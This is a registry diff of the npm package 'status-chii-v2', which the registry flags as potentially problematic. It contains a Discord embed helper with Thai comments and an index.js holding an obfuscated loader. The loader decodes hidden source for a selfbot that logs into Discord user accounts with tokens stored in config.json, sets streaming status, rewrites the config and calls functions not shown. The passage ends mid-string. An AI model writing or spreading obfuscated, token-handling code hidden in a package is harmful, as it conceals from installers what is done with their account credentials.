status-chii-v2 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of status-chii-v2 might be problematic. Click here for more details.
- package/config.json +4 -0
- package/embed.js +38 -0
- package/index.js +1 -0
- package/package.json +34 -0
- package/test.js +23 -0
- package//340/270/255/340/271/210/340/270/262/340/270/231/340/270/201/340/271/210/340/270/255/340/270/231/340/271/203/340/270/212/340/271/211/340/270/207/340/270/262/340/270/231.md +256 -0
package/config.json
ADDED
package/embed.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const { EmbedBuilder, ButtonBuilder, ActionRowBuilder, ButtonStyle } = require('discord.js');
|
2
|
+
|
3
|
+
const EmbedFrom = (interaction) => {
|
4
|
+
const embed = new EmbedBuilder()
|
5
|
+
.setColor(0x6633CC)
|
6
|
+
.setTitle('``🟣`` เปิดสถานะสตรีมมิ่งบนโปรไฟล์')
|
7
|
+
.addFields(
|
8
|
+
{ name: '``✅`` เปิดใช้งาน', value: '``กดที่เปิดสถานะ``', inline: true },
|
9
|
+
{ name: '``❌`` ปิดใช้งาน', value: '``กดที่ปิดสถานะ``', inline: true },
|
10
|
+
{ name: '``📖`` จัดข้อมูลให้ครบ', value: '``หากแจ้งเตือนข้อผิดพลาด``', inline: true },
|
11
|
+
)
|
12
|
+
.setImage('https://s12.gifyu.com/images/Sr3l3.gif')
|
13
|
+
|
14
|
+
return embed;
|
15
|
+
};
|
16
|
+
|
17
|
+
const ButtonFrom = (interaction) => {
|
18
|
+
const row = new ActionRowBuilder()
|
19
|
+
.addComponents(
|
20
|
+
new ButtonBuilder()
|
21
|
+
.setCustomId('open') // ห้ามลบห้ามเปลี่ยน
|
22
|
+
.setLabel('✅เปิดสถานะ')
|
23
|
+
.setStyle(ButtonStyle.Primary),
|
24
|
+
new ButtonBuilder()
|
25
|
+
.setCustomId('offline') // ห้ามลบห้ามเปลี่ยน
|
26
|
+
.setLabel('❌ปิดสถานะ')
|
27
|
+
.setStyle(ButtonStyle.Danger),
|
28
|
+
new ButtonBuilder()
|
29
|
+
.setLabel('🚀 วิธีใช้งาน')
|
30
|
+
.setStyle(ButtonStyle.Link)
|
31
|
+
.setURL('https://discord.com')
|
32
|
+
);
|
33
|
+
return row;
|
34
|
+
}
|
35
|
+
|
36
|
+
module.exports = { EmbedFrom, ButtonFrom };
|
37
|
+
|
38
|
+
// เปลี่ยนทุกอย่างได้นะครับ แต่ยกเว้นบรรทัดที่มีคำว่า // ห้ามลบห้ามเปลี่ยน > ชื่อ open และ offline ห้ามไปแก้ไขมันนะครับ
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0xc6d439=_0x1e8e;function _0x529e(){const _0x132646=['2rjejyI','678537XAwjKL','281116OyNMPv','base64','15VBzFfB','exports','2869560cbdFyF','toString','228568MRArWc','648699siIykS','from','313673kkbrkU','30dKLtbW','582NHDNbg','24199wliCak'];_0x529e=function(){return _0x132646;};return _0x529e();}(function(_0x3527bb,_0x8435bd){const _0x4fb0d9=_0x1e8e,_0x3028fd=_0x3527bb();while(!![]){try{const _0x284877=parseInt(_0x4fb0d9(0x1fb))/0x1+parseInt(_0x4fb0d9(0x1ff))/0x2*(parseInt(_0x4fb0d9(0x1f9))/0x3)+-parseInt(_0x4fb0d9(0x1f8))/0x4*(parseInt(_0x4fb0d9(0x1f4))/0x5)+-parseInt(_0x4fb0d9(0x1fd))/0x6*(-parseInt(_0x4fb0d9(0x1fe))/0x7)+-parseInt(_0x4fb0d9(0x1f6))/0x8+-parseInt(_0x4fb0d9(0x200))/0x9+-parseInt(_0x4fb0d9(0x1fc))/0xa*(parseInt(_0x4fb0d9(0x201))/0xb);if(_0x284877===_0x8435bd)break;else _0x3028fd['push'](_0x3028fd['shift']());}catch(_0x5cdab0){_0x3028fd['push'](_0x3028fd['shift']());}}}(_0x529e,0x2cb0d));function _0x1e8e(_0x40c585,_0x5487be){const _0x529e52=_0x529e();return _0x1e8e=function(_0x1e8e7c,_0x47f128){_0x1e8e7c=_0x1e8e7c-0x1f4;let _0x36ca1f=_0x529e52[_0x1e8e7c];return _0x36ca1f;},_0x1e8e(_0x40c585,_0x5487be);}const CHII_Code=Buffer[_0xc6d439(0x1fa)]('const\x20Discord\x20=\x20require(\x27discord.js-selfbot-v13\x27);\x20\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x22os\x22);\x0aconst\x20Date_Time\x20=\x20Date.now();\x0aconst\x20config_path\x20=\x20path.resolve(__dirname,\x20\x27config.json\x27);\x0alet\x20config\x20=\x20JSON.parse(fs.readFileSync(config_path));\x0a\x0aconst\x20digitMap\x20=\x20{\x0a\x20\x20\x20\x20\x270\x27:\x20\x270\x27,\x20\x271\x27:\x20\x271\x27,\x20\x272\x27:\x20\x272\x27,\x20\x273\x27:\x20\x273\x27,\x20\x274\x27:\x20\x274\x27,\x0a\x20\x20\x20\x20\x275\x27:\x20\x275\x27,\x20\x276\x27:\x20\x276\x27,\x20\x277\x27:\x20\x277\x27,\x20\x278\x27:\x20\x278\x27,\x20\x279\x27:\x20\x279\x27\x0a};\x0aconst\x20stylizedDigits\x20=\x20{\x0a\x20\x20\x20\x20\x270\x27:\x20\x27𝟎\x27,\x20\x271\x27:\x20\x27𝟏\x27,\x20\x272\x27:\x20\x27𝟐\x27,\x20\x273\x27:\x20\x27𝟑\x27,\x20\x274\x27:\x20\x27𝟒\x27,\x0a\x20\x20\x20\x20\x275\x27:\x20\x27𝟓\x27,\x20\x276\x27:\x20\x27𝟔\x27,\x20\x277\x27:\x20\x27𝟕\x27,\x20\x278\x27:\x20\x27𝟖\x27,\x20\x279\x27:\x20\x27𝟗\x27\x0a};\x0afunction\x20getCurrentTime()\x20{\x0a\x20\x20\x20\x20const\x20currentTime\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20hour:\x20\x222-digit\x22,\x20minute:\x20\x222-digit\x22,\x20hour12:\x20false\x20};\x0a\x20\x20\x20\x20let\x20timeString\x20=\x20currentTime.toLocaleTimeString(\x22th-TH\x22,\x20options);\x0a\x20\x20\x20\x20return\x20timeString.replace(/[0-9]/g,\x20digit\x20=>\x20digitMap[digit]);\x0a}\x0aconst\x20monthNames\x20=\x20[\x22𝟎𝟏\x22,\x20\x22𝟎𝟐\x22,\x20\x22𝟎𝟑\x22,\x20\x22𝟎𝟒\x22,\x20\x22𝟎𝟓\x22,\x20\x22𝟎𝟔\x22,\x20\x22𝟎𝟕\x22,\x20\x22𝟎𝟖\x22,\x20\x22𝟎𝟗\x22,\x20\x22𝟏𝟎\x22,\x20\x22𝟏𝟏\x22,\x20\x22𝟏𝟐\x22];\x0afunction\x20getCurrentDay()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x27Asia/Bangkok\x27,\x20day:\x20\x272-digit\x27,\x20month:\x20\x272-digit\x27,\x20year:\x20\x27numeric\x27\x20};\x0a\x20\x20\x20\x20const\x20formattedDate\x20=\x20new\x20Intl.DateTimeFormat(\x27th-TH\x27,\x20options).format(date);\x0a\x20\x20\x20\x20const\x20[day,\x20month,\x20year]\x20=\x20formattedDate.split(\x27/\x27);\x0a\x20\x20\x20\x20const\x20monthIndex\x20=\x20parseInt(month,\x2010)\x20-\x201;\x0a\x20\x20\x20\x20return\x20`${stylizedDigits[day[0]]}${stylizedDigits[day[1]]}/${monthNames[monthIndex]}/${stylizedDigits[year[0]]}${stylizedDigits[year[1]]}${stylizedDigits[year[2]]}${stylizedDigits[year[3]]}`;\x0a}\x0aconst\x20monthNamess\x20=\x20[\x22มกราคม\x22,\x20\x22กุมภาพันธ์\x22,\x20\x22มีนาคม\x22,\x20\x22เมษายน\x22,\x20\x22พฤษภาคม\x22,\x20\x22มิถุนายน\x22,\x20\x22กรกฎาคม\x22,\x20\x22สิงหาคม\x22,\x20\x22กันยายน\x22,\x20\x22ตุลาคม\x22,\x20\x22พฤศจิกายน\x22,\x20\x22ธันวาคม\x22];\x0afunction\x20getCurrentDayy()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x27Asia/Bangkok\x27,\x20day:\x20\x272-digit\x27,\x20month:\x20\x272-digit\x27,\x20year:\x20\x27numeric\x27\x20};\x0a\x20\x20\x20\x20const\x20formattedDate\x20=\x20new\x20Intl.DateTimeFormat(\x27th-TH\x27,\x20options).format(date);\x0a\x20\x20\x20\x20const\x20[day,\x20month,\x20year]\x20=\x20formattedDate.split(\x27/\x27);\x0a\x20\x20\x20\x20const\x20monthIndex\x20=\x20parseInt(month,\x2010)\x20-\x201;\x0a\x20\x20\x20\x20return\x20`${stylizedDigits[day[0]]}${stylizedDigits[day[1]]}/${monthNamess[monthIndex]}/${stylizedDigits[year[0]]}${stylizedDigits[year[1]]}${stylizedDigits[year[2]]}${stylizedDigits[year[3]]}`;\x0a}\x0aconst\x20monthNamesss\x20=\x20[\x22𝐉𝐚𝐧𝐮𝐚𝐫𝐲\x22,\x20\x22𝐅𝐞𝐛𝐫𝐮𝐚𝐫𝐲\x22,\x20\x22𝐌𝐚𝐫𝐜𝐡\x22,\x20\x22𝐀𝐩𝐫𝐢𝐥\x22,\x20\x22𝐌𝐚𝐲\x22,\x20\x22𝐉𝐮𝐧𝐞\x22,\x20\x22𝐉𝐮𝐥𝐲\x22,\x20\x22𝐀𝐮𝐠𝐮𝐬𝐭\x22,\x20\x22𝐒𝐞𝐩𝐭𝐞𝐦𝐛𝐞𝐫\x22,\x20\x22𝐎𝐜𝐭𝐨𝐛𝐞𝐫\x22,\x20\x22𝐍𝐨𝐯𝐞𝐦𝐛𝐞𝐫\x22,\x20\x22𝐃𝐞𝐜𝐞𝐦𝐛𝐞𝐫\x22];\x0afunction\x20getCurrentDateEG()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x27Asia/Bangkok\x27,\x20day:\x20\x272-digit\x27,\x20month:\x20\x272-digit\x27,\x20year:\x20\x27numeric\x27\x20};\x0a\x20\x20\x20\x20const\x20formattedDate\x20=\x20new\x20Intl.DateTimeFormat(\x27th-TH\x27,\x20options).format(date);\x0a\x20\x20\x20\x20const\x20[day,\x20month,\x20year]\x20=\x20formattedDate.split(\x27/\x27);\x0a\x20\x20\x20\x20const\x20monthIndex\x20=\x20parseInt(month,\x2010)\x20-\x201;\x0a\x20\x20\x20\x20return\x20`${stylizedDigits[day[0]]}${stylizedDigits[day[1]]}/${monthNamesss[monthIndex]}/${stylizedDigits[year[0]]}${stylizedDigits[year[1]]}${stylizedDigits[year[2]]}${stylizedDigits[year[3]]}`;\x0a}\x0aconst\x20dayNamess\x20=\x20[\x22อาทิตย์\x22,\x20\x22จันทร์\x22,\x20\x22อังคาร\x22,\x20\x22พุธ\x22,\x20\x22พฤหัสบดี\x22,\x20\x22ศุกร์\x22,\x20\x22เสาร์\x22];\x0afunction\x20getCurrentDayThai()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x27Asia/Bangkok\x27,\x20weekday:\x20\x27long\x27\x20};\x0a\x20\x20\x20\x20const\x20bangkokDay\x20=\x20new\x20Intl.DateTimeFormat(\x27th-TH\x27,\x20options).format(date);\x0a\x20\x20\x20\x20const\x20dayIndex\x20=\x20dayNamess.indexOf(bangkokDay);\x0a\x20\x20\x20\x20return\x20dayNamess[dayIndex]\x20||\x20bangkokDay;\x0a}\x0aconst\x20dayNames\x20=\x20[\x22Sunday\x22,\x20\x22Monday\x22,\x20\x22Tuesday\x22,\x20\x22Wednesday\x22,\x20\x22Thursday\x22,\x20\x22Friday\x22,\x20\x22Saturday\x22];\x0afunction\x20getCurrentDayEG()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x27Asia/Bangkok\x27,\x20weekday:\x20\x27long\x27\x20};\x0a\x20\x20\x20\x20const\x20bangkokDay\x20=\x20new\x20Intl.DateTimeFormat(\x27en-US\x27,\x20options).format(date);\x0a\x20\x20\x20\x20const\x20dayIndex\x20=\x20dayNames.indexOf(bangkokDay);\x0a\x20\x20\x20\x20return\x20dayNames[dayIndex];\x0a}\x0afunction\x20formatBytes(bytes,\x20decimals\x20=\x202)\x20{\x0a\x20\x20\x20\x20if\x20(bytes\x20===\x200)\x20return\x20\x270\x20Bytes\x27;\x0a\x20\x20\x20\x20const\x20k\x20=\x201024;\x0a\x20\x20\x20\x20const\x20dm\x20=\x20decimals\x20<\x200\x20?\x200\x20:\x20decimals;\x0a\x20\x20\x20\x20const\x20sizes\x20=\x20[\x27\x27,\x20\x27\x27,\x20\x27\x27,\x20\x27\x27,\x20\x27\x27];\x0a\x20\x20\x20\x20const\x20i\x20=\x20Math.floor(Math.log(bytes)\x20/\x20Math.log(k));\x0a\x20\x20\x20\x20return\x20parseFloat((bytes\x20/\x20Math.pow(k,\x20i)).toFixed(dm))\x20+\x20\x27\x20\x27\x20+\x20sizes[i];\x0a}\x0afunction\x20getRAMInfo()\x20{\x0a\x20\x20\x20\x20const\x20totalMemory\x20=\x20os.totalmem();\x0a\x20\x20\x20\x20return\x20`${formatBytes(totalMemory)}`;\x0a}\x0afunction\x20getCPUInfo()\x20{\x0a\x20\x20\x20\x20const\x20cpus\x20=\x20os.cpus();\x0a\x20\x20\x20\x20const\x20cpuModels\x20=\x20new\x20Set(cpus.map(cpu\x20=>\x20cpu.model));\x0a\x20\x20\x20\x20return\x20Array.from(cpuModels);\x0a}\x0afunction\x20getTemperature()\x20{\x0a\x20\x20\x20\x20const\x20center\x20=\x2025;\x0a\x20\x20\x20\x20const\x20variance\x20=\x205;\x0a\x20\x20\x20\x20const\x20temperature\x20=\x20center\x20+\x20(Math.random()\x20*\x20variance\x20*\x202\x20-\x20variance);\x0a\x20\x20\x20\x20return\x20`${temperature.toFixed(1)}`;\x0a}\x0afunction\x20getPing()\x20{\x0a\x20\x20\x20\x20const\x20ping\x20=\x20Math.round(this.medmwng.ws.ping);\x0a\x20\x20\x20\x20return\x20`${ping}`;\x0a}\x0a\x0a\x0aclass\x20GetImage\x20{\x0a\x20\x20\x20\x20constructor(client)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng\x20=\x20client;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20isValidURL(url)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20new\x20URL(url);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20true;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20false;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20get(userConfig,\x20ImageUrl1,\x20ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20userId\x20=\x20userConfig.applicationId;\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20this.isValidURL(ImageUrl1)\x20?\x20ImageUrl1\x20:\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20this.isValidURL(ImageUrl2)\x20?\x20ImageUrl2\x20:\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!ImageUrl1\x20&&\x20!ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(\x22The\x20image\x20is\x20invalid\x22);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20getExternal\x20}\x20=\x20Discord.RichPresence;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20images\x20=\x20await\x20getExternal(this.medmwng,\x20userId,\x20ImageUrl1,\x20ImageUrl2);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(images.length\x20===\x201)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20images[0];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(url\x20===\x20ImageUrl1)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(url\x20===\x20ImageUrl2)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(images.length\x20===\x202)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20[Images_path1,\x20Images_path2]\x20=\x20images;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Images_path1.external_asset_path)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20Images_path1;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl1\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Images_path2.external_asset_path)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20{\x20url,\x20external_asset_path\x20}\x20=\x20Images_path2;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ImageUrl2\x20=\x20url.includes(\x22attachments\x22)\x20?\x20url\x20:\x20external_asset_path;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20throw\x20new\x20Error(\x22The\x20image\x20is\x20invalid\x22);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20ImageUrl1,\x20IMAGE_small:\x20ImageUrl2\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20{\x20BIGlargeIMAGE:\x20null,\x20IMAGE_small:\x20null\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20}\x0a}\x0a\x0aclass\x20MyClient\x20extends\x20Discord.Client\x20{\x0a\x20\x20\x20\x20constructor(userConfig)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20super({\x20partials:\x20[],\x20makeCache:\x20Discord.Options.cacheWithLimits({\x20MessageManager:\x200\x20})\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.userConfig\x20=\x20userConfig;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.cacheImage\x20=\x20new\x20Map();\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.index\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.initClient();\x0a\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20initClient()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng\x20=\x20new\x20Discord.Client({\x20readyStatus:\x20false,\x20checkUpdate:\x20false\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.getExternal\x20=\x20new\x20GetImage(this.medmwng);\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.once(\x27ready\x27,\x20()\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20console.log(`Logged\x20in\x20as\x20${this.medmwng.user.tag}`);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.updateStatus();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.statusInterval\x20=\x20setInterval(()\x20=>\x20this.updateStatus(),\x204000);\x0a\x20\x20\x20\x20\x20\x20\x20\x20});\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20this.medmwng.login(this.userConfig.token)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.catch(error\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(error.code\x20===\x20\x27TOKEN_INVALID\x27\x20||\x20error.code\x20===\x20\x27INVALID_INTENTS\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20this.removeInvalidUserConfig();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20});\x0a}\x0a\x0a\x20\x20\x20\x20removeInvalidUserConfig()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20config.user\x20=\x20config.user.filter(user\x20=>\x20user.applicationId\x20!==\x20this.userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(config_path,\x20JSON.stringify(config,\x20null,\x202));\x0a\x20\x20\x20\x20\x20\x20\x20\x20Botstatus(this.userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20updateClients(config);\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20removeConfig()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20config.user\x20=\x20config.user.filter(user\x20=>\x20user.applicationId\x20!==\x20this.userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(config_path,\x20JSON.stringify(config,\x20null,\x202));\x0a\x20\x20\x20\x20\x20\x20\x20\x20Bottus(this.userConfig.applicationId);\x0a\x20\x20\x20\x20\x20\x20\x20\x20updateClients(config);\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20async\x20updateStatus()\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20function\x20replacePlaceholders(text,\x20replacements)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20key\x20in\x20replacements)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text\x20=\x20text.replace(new\x20RegExp(key,\x20\x27i\x27),\x20replacements[key]);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20return\x20text;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20ping\x20=\x20getPing.call(this);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20temperature\x20=\x20getTemperature();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20ramText\x20=\x20getRAMInfo();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20cpuText\x20=\x20getCPUInfo();\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Time\x20=\x20`${getCurrentTime()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Date\x20=\x20`${getCurrentDay()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20Datee\x20=\x20`${getCurrentDayy()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SundayThai\x20=\x20`${getCurrentDayThai()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20SundayEG\x20=\x20`${getCurrentDayEG()}`;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20DateEG\x20=\x20`${getCurrentDateEG()}`;\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20richPresence\x20=\x20new\x20Discord.RichPresence(this.medmwng)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setType(\x27STREAMING\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20.setApplicationId(this.userConfig.applicationId);\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20detailReplacements\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27time:t\x27:\x20Time,\x20//\x20เวลานาที\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:n\x27:\x20Date,\x20//\x20ปฎิทินวันที่ตัวเลข\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:th\x27:\x20Datee,\x20//\x20ปฎิทินวันที่ภาษาไทย\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27date:eg\x27:\x20DateEG,\x20\x20\x20\x20//\x20แสดงปฎิทินวันที่ภาษาอังกฤษ\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27ping:ms\x27:\x20ping,\x20\x20//\x20ความปิง\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27temp:c\x27:\x20temperature,\x20//\x20ความร้อน\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27ram:g\x27:\x20ramText,\x20\x20//\x20แสดงแรม\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27cpu:g\x27:\x20cpuText,\x20//\x20แสดง\x20CPU\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27day:th\x27:\x20SundayThai,\x20//\x20แสดงวันของไทย\x20จันทร์\x20อังคาร.....\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27day:eg\x27:\x20SundayEG\x20\x20\x20//\x20แสดงวันของอังกฤษ\x20𝐒𝐮𝐧𝐝𝐚𝐲\x20𝐌𝐨𝐧𝐝𝐚𝐲.....\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20details\x20=\x20this.userConfig.Details[this.index];\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20details\x20=\x20replacePlaceholders(details,\x20detailReplacements);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(!details.includes(\x27-\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20richPresence.setDetails(details);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20let\x20LargeText\x20=\x20this.userConfig.LargeText[this.index];\x0